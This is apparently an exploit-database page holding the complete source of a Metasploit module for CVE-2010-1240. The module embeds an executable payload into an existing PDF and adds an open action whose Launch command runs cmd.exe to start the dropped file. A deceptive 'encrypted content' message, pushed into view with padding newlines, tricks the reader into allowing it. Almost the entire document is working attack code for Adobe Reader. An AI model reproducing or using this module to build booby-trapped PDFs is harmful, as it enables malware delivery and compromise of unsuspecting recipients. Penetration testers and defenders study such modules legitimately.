Lucene search
K

Adobe PDF - Embedded EXE Social Engineering (Metasploit)

🗓️ 16 Dec 2010 00:00:00Reported by MetasploitType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 83 Views

Embed Metasploit payload in existing PDF for social engineering attack

Related
Code
##
# $Id: adobe_pdf_embedded_exe.rb 11353 2010-12-16 20:11:01Z egypt $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = ExcellentRanking

	include Msf::Exploit::PDF_Parse
	include Msf::Exploit::FILEFORMAT
	include Msf::Exploit::EXE

	def initialize(info = {})
		super(update_info(info,
			'Name'		=> 'Adobe PDF Embedded EXE Social Engineering',
			'Description' 	=> %q{
					This module embeds a Metasploit payload into an existing PDF file. The
				resulting PDF can be sent to a target as part of a social engineering attack.
			},
			'License'	=> MSF_LICENSE,
			'Author'	=>
				[
					'Colin Ames <amesc[at]attackresearch.com>', # initial module
					'jduck' # add Documents for vista/win7
				],
			'Version'        => '$Revision: 11353 $',
			'References'     =>
				[
					[ 'CVE', '2010-1240' ],
					[ 'OSVDB', '63667' ],
					[ 'URL', 'http://blog.didierstevens.com/2010/04/06/update-escape-from-pdf/' ],
					[ 'URL', 'http://blog.didierstevens.com/2010/03/31/escape-from-foxit-reader/' ],
					[ 'URL', 'http://blog.didierstevens.com/2010/03/29/escape-from-pdf/' ]
				],
			'Payload'	=>
				{
					'Space'			    => 2048,
					'DisableNops'		=> true,
					'StackAdjustment'	=> -3500,
				},
			'Platform'	=> 'win',
			'Targets'	=>
				[
					[ 'Adobe Reader v8.x, v9.x (Windows XP SP3 English)', { 'Ret' => '' } ]
				],
			'DefaultTarget'	=> 0))

		register_options(
			[
				OptString.new('INFILENAME', [ true, 'The Input PDF filename.']),
				OptString.new('EXENAME', [ false, 'The Name of payload exe.']),
				OptString.new('FILENAME', [ false, 'The output filename.', 'evil.pdf']),
				OptString.new('LAUNCH_MESSAGE', [ false, 'The message to display in the File: area',
					"To view the encrypted content please tick the \"Do not show this message again\" box and press Open."]),
			], self.class)
	end

	def exploit

		file_name = datastore['INFILENAME']
		exe_name = datastore['EXENAME']

		print_status("Reading in '#{file_name}'...")
		stream = read_pdf()
		print_status("Parsing '#{file_name}'...")
		pdf_objects = parse_pdf(stream)
		print_status("Parsing Successful.")
		xref_trailers 	= pdf_objects[0]
		trailers	= pdf_objects[1]
		startxrefs	= pdf_objects[2]
		root_obj	= pdf_objects[3]

		output = basic_social_engineering_exploit(xref_trailers,root_obj,stream,trailers,file_name,exe_name,startxrefs.last)

		print_status("Creating '#{datastore['FILENAME']}' file...")
		file_create(output)
	end


	def ef_payload(pdf_name,payload_exe,obj_num)

		if !(payload_exe and payload_exe.length > 0)
			print_status("Using '#{datastore['PAYLOAD']}' as payload...")

			payload_exe = generate_payload_exe
			file_size = payload_exe.length
			stream = Rex::Text.zlib_deflate(payload_exe)
			md5 = Rex::Text.md5(stream)

		else
			print_status("Using '#{datastore['EXENAME']}' as payload...")

			file_size = File.size(payload_exe)
			stream = Rex::Text.zlib_deflate(IO.read(payload_exe))
			md5 = Rex::Text.md5(File.read(payload_exe))

		end

		output = String.new()

		output << "#{obj_num.to_i + 1} 0 obj\r<</UF(#{pdf_name}.pdf)/F(#{pdf_name}.pdf)/EF<</F #{obj_num.to_i + 2} 0 R>>/Desc(#{pdf_name})/Type/Filespec>>\rendobj\r"
		output << "#{obj_num.to_i + 2} 0 obj\r<</Subtype/application#2Fpdf/Length #{stream.length + 3}/Filter/FlateDecode/DL #{file_size}/Params<</Size #{file_size}/CheckSum<#{md5.upcase}>>>>>stream\r#{stream}\r\nendstream\rendobj\r"


		return output
	end

	def js_payload(pdf_name,obj_num)

		output = String.new()
		output << "#{obj_num.to_i + 3} 0 obj\r<</S/JavaScript/JS(this.exportDataObject({ cName: \"#{pdf_name}\", nLaunch: 0 });)/Type/Action>>\rendobj\r"
		output << "#{obj_num.to_i + 4} 0 obj\r<</S/Launch/Type/Action/Win<</F(cmd.exe)/D(c:\\\\windows\\\\system32)/P(/Q /C "

		# change to the home drive/path no matter what
		output << "%HOMEDRIVE%&cd %HOMEPATH%"

		# check for the pdf in these dirs, in this order..
		dirs = [ "Desktop", "My Documents", "Documents" ]
		dirs.each { |dir|
			fmt = "&"+
				"("+
					"if exist \"%s\" "+
						"(cd \"%s\")"+
				")"
			fname = "%s\\\\#{pdf_name}.pdf" % dir
			output << fmt % [fname, dir]
		}
		launch_message = datastore['LAUNCH_MESSAGE']
		lines = []
		launch_message.gsub(/.{1,80}(?:\s|\Z)/) { lines << $& }
		if (lines.length > 2)
			print_status("Warning: the LAUNCH_MESSAGE is more than 2 lines. It may not display correctly.")
		end

		output << "&"+
			# note: the following doesn't work with spaces, and adding quotes doesn't execute the payload :-/
			"(start #{pdf_name}.pdf)"+
			# note: The below message modifies the text in the "File:" textfield of the "Launch File" dialog
			("\n"*10) +
			launch_message+
			# note: this extra rparen is required.
			")"+
			">>>>\rendobj\r"

		return output

	end


	def basic_social_engineering_exploit(xref_trailers,root_obj,stream,trailers,file_name,exe_name,startxref)

		file_name = file_name.split(/\//).pop.to_s

		match = file_name.match(/(.+)\.pdf/)
		if match
			pdf_name = match[1]
		end

		catalog = parse_object(xref_trailers,root_obj,stream)


		match = catalog.match(/Names (\d+ \d) R/m)
		if match

			names = parse_object(xref_trailers,match[1],stream)
			match = names.match(/EmbeddedFiles (\d+ \d) R/m)
			if match
				embedded_files = parse_object(xref_trailers,match[1],stream)
				new_embedded_files = embedded_files.gsub(/(\]>>)/m,"(\xfe\xff#{Rex::Text.to_unicode(pdf_name,"utf-16be")})#{trailers[0].fetch("Size")} 0 R" + '\1')
			else
				new_names = names.gsub(/(>>.*)/m,"/EmbeddedFiles #{trailers[0].fetch("Size")} 0 R" + '\1')
			end

		else
			new_catalog = catalog.gsub(/(Pages \d+ \d R)/m,'\1' + "/Names #{trailers[0].fetch("Size")} 0 R")
		end

		if catalog.match(/OpenAction/m)

			match = catalog.match(/OpenAction (\d+ \d) R/m)
			if match
				open_action = "#{match[1]} R"

				if new_catalog
					if new_embedded_files
						new_catalog = new_catalog.gsub(/OpenAction \d+ \d R/m, "OpenAction #{trailers[0].fetch("Size").to_i + 2} 0 R")
					elsif new_names
						new_catalog = new_catalog.gsub(/OpenAction \d+ \d R/m, "OpenAction #{trailers[0].fetch("Size").to_i + 3} 0 R")
					else
						new_catalog = new_catalog.gsub(/OpenAction \d+ \d R/m, "OpenAction #{trailers[0].fetch("Size").to_i + 4} 0 R")
					end
				else
					if new_embedded_files
						new_catalog = catalog.gsub(/OpenAction \d+ \d R/m, "OpenAction #{trailers[0].fetch("Size").to_i + 2} 0 R")
					elsif new_names
						new_catalog = catalog.gsub(/OpenAction \d+ \d R/m, "OpenAction #{trailers[0].fetch("Size").to_i + 3} 0 R")
					else
						new_catalog = catalog.gsub(/OpenAction \d+ \d R/m, "OpenAction #{trailers[0].fetch("Size").to_i + 4} 0 R")
					end

				end
			else
				if new_catalog
					new_catalog = new_catalog.gsub(/OpenAction ?\[.+\]/m, "OpenAction #{trailers[0].fetch("Size").to_i + 4} 0 R")
				else
					new_catalog = catalog.gsub(/OpenAction ?\[.+\]/m, "OpenAction #{trailers[0].fetch("Size").to_i + 3} 0 R")
				end
			end
		else
			if new_catalog
				if new_embedded_files
					new_catalog = new_catalog.gsub(/(Names \d+ \d R)/m,'\1' + "/OpenAction #{trailers[0].fetch("Size").to_i + 2} 0 R")
				elsif new_names
					new_catalog = new_catalog.gsub(/(Names \d+ \d R)/m,'\1' + "/OpenAction #{trailers[0].fetch("Size").to_i + 3} 0 R")
				else
					new_catalog = new_catalog.gsub(/(Names \d+ \d R)/m,'\1' + "/OpenAction #{trailers[0].fetch("Size").to_i + 4} 0 R")
				end

			else
				if new_embedded_files
					new_catalog = catalog.gsub(/(Pages \d+ \d R)/m,'\1' + "/OpenAction #{trailers[0].fetch("Size").to_i + 2} 0 R")
				elsif new_names
					new_catalog = catalog.gsub(/(Pages \d+ \d R)/m,'\1' + "/OpenAction #{trailers[0].fetch("Size").to_i + 3} 0 R")
				else
					new_catalog = catalog.gsub(/(Pages \d+ \d R)/m,'\1' + "/OpenAction #{trailers[0].fetch("Size").to_i + 4} 0 R")
				end
			end
		end



		pages_obj = catalog.match(/Pages (\d+ \d) R/m)[1]
		pages = parse_object(xref_trailers,pages_obj,stream)

		page_obj = pages.match(/Kids ?\[\r?\n? *(\d+ \d) R/m)[1]
		page = parse_object(xref_trailers,page_obj,stream)

		match = page.match(/Kids ?\[\r?\n? *(\d+ \d) R/m)
		while match

			page_obj = match[1]
			page = parse_object(xref_trailers,page_obj,stream)
			match = page.match(/Kids ?\[\r?\n? *(\d+ \d) R/m)
		end

		match = page.match(/AA<<\/O (\d+ \d) R/m)
		if match
			aa = parse_object(xref_trailers,match[1],stream)
		end


		new_pdf = String.new()
		xrefs = String.new()


		if new_embedded_files
			pdf_payload = String.new()
			num = trailers[0].fetch("Size").to_i - 1
			pdf_payload << ef_payload(pdf_name,exe_name,num)
			pdf_payload << js_payload(pdf_name,num)
			new_pdf << stream << pdf_payload

			xrefs = xref_create(new_pdf,stream.length,"*")

			new_size = trailers[0].fetch("Size").to_i + 4

			if aa
				new_page = page.gsub(/(AA<<\/O )\d+ \d R(.*)/m,'\1' + "#{trailers[0].fetch("Size").to_i + 3} 0" + '\2')
			else
				new_page = page.gsub(/(>> *\r?\n? *endobj)/m,"/AA<<\/O #{trailers[0].fetch("Size").to_i + 3} 0 R>>" + '\1')
			end

			new_pdf << new_catalog
			xrefs << xref_create(new_pdf,(new_pdf.length - new_catalog.length), "1")

			new_pdf << new_page
			xrefs << xref_create(new_pdf,(new_pdf.length - new_page.length), "1")

			new_pdf << new_embedded_files
			xrefs << xref_create(new_pdf,(new_pdf.length - new_embedded_files.length), "1")

			if trailers[0].has_key?("ID")
				new_pdf << "xref\r\n" << xrefs << "trailer\r\n<</Size #{new_size}/Prev #{startxref}/Root #{trailers[0].fetch("Root")} R/Info #{trailers[0].fetch("Info")} R/ID#{trailers[0].fetch("ID")}>>\r\n"
			else
				new_pdf << "xref\r\n" << xrefs << "trailer\r\n<</Size #{new_size}/Prev #{startxref}/Root #{trailers[0].fetch("Root")} R/Info #{trailers[0].fetch("Info")} R>>\r\n"
			end

			new_pdf << "startxref\r\n#{stream.length + pdf_payload.length + new_embedded_files.length + new_page.length + new_catalog.length}\r\n%%EOF\r\n"

		elsif new_names
			pdf_payload = String.new()
			num = trailers[0].fetch("Size").to_i
			pdf_payload << "#{num} 0 obj\r<</Names[(\xfe\xff#{Rex::Text.to_unicode(pdf_name,"utf-16be")})#{num + 1} 0 R]>>\rendobj\r"
			pdf_payload << ef_payload(pdf_name,exe_name,num)
			pdf_payload << js_payload(pdf_name,num)
			new_pdf << stream << pdf_payload

			xrefs = xref_create(new_pdf,stream.length,"*")

			new_size = trailers[0].fetch("Size").to_i + 5

			if aa
				new_page = page.gsub(/(AA<<\/O )\d+ \d(.*)/m,'\1' + "#{trailers[0].fetch("Size").to_i + 4} 0" + '\2')
			else
				new_page = page.gsub(/(>> *\r?\n? *endobj)/m,"/AA<<\/O #{trailers[0].fetch("Size").to_i + 4} 0 R>>" + '\1')
			end

			new_pdf << new_catalog
			xrefs << xref_create(new_pdf,(new_pdf.length - new_catalog.length), "1")

			new_pdf << new_page
			xrefs << xref_create(new_pdf,(new_pdf.length - new_page.length), "1")

			new_pdf << new_names
			xrefs << xref_create(new_pdf,(new_pdf.length - new_names.length), "1")

			if trailers[0].has_key?("ID")
				new_pdf << "xref\r\n" << xrefs << "trailer\r\n<</Size #{new_size}/Prev #{startxref}/Root #{trailers[0].fetch("Root")} R/Info #{trailers[0].fetch("Info")} R/ID#{trailers[0].fetch("ID")}>>\r\n"
			else
				new_pdf << "xref\r\n" << xrefs << "trailer\r\n<</Size #{new_size}/Prev #{startxref}/Root #{trailers[0].fetch("Root")} R/Info #{trailers[0].fetch("Info")} R>>\r\n"
			end

			new_pdf << "startxref\r\n#{stream.length + pdf_payload.length + new_names.length + new_page.length + new_catalog.length}\r\n%%EOF\r\n"


		else
			pdf_payload = String.new()
			num = trailers[0].fetch("Size").to_i + 1
			pdf_payload << "#{trailers[0].fetch("Size")} 0 obj\r<</EmbeddedFiles #{num} 0 R>>\rendobj\r"
			pdf_payload << "#{num} 0 obj\r<</Names[(#{pdf_name})#{num + 1} 0 R]>>\rendobj\r"
			pdf_payload << ef_payload(pdf_name,exe_name,num)
			pdf_payload << js_payload(pdf_name,num)
			new_pdf << stream << pdf_payload
			xrefs = xref_create(new_pdf,stream.length,"*")

			new_size = trailers[0].fetch("Size").to_i + 6

			if aa
				new_page = page.gsub(/(AA<<\/O )\d+ \d(.*)/m,'\1' + "#{trailers[0].fetch("Size").to_i + 5} 0" + '\2')
			else
				new_page = page.gsub(/(>> *\r?\n? *endobj)/m,"/AA<<\/O #{trailers[0].fetch("Size").to_i + 5} 0 R>>" + '\1')
			end

			new_pdf << new_catalog
			xrefs << xref_create(new_pdf,(new_pdf.length - new_catalog.length), "1")

			new_pdf << new_page
			xrefs << xref_create(new_pdf,(new_pdf.length - new_page.length), "1")

			if trailers[0].has_key?("ID")
				new_pdf << "xref\r\n" << xrefs << "trailer\r\n<</Size #{new_size}/Prev #{startxref}/Root #{trailers[0].fetch("Root")} R/Info #{trailers[0].fetch("Info")} R/ID#{trailers[0].fetch("ID")}>>\r\n"
			else
				new_pdf << "xref\r\n" << xrefs
				new_pdf << "trailer\r\n"
				new_pdf << "<</Size #{new_size}/Prev #{startxref}"
				new_pdf << "/Root #{trailers[0].fetch("Root")} R"
				new_pdf << "/Info #{trailers[0].fetch("Info")} R>>\r\n"
			end

			new_pdf << "startxref\r\n#{stream.length + pdf_payload.length + new_page.length + new_catalog.length}\r\n%%EOF\r\n"


		end


		return new_pdf
	end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

16 Dec 2010 00:00Current
6.6Medium risk
Vulners AI Score6.6
CVSS 29.3
EPSS0.73436
83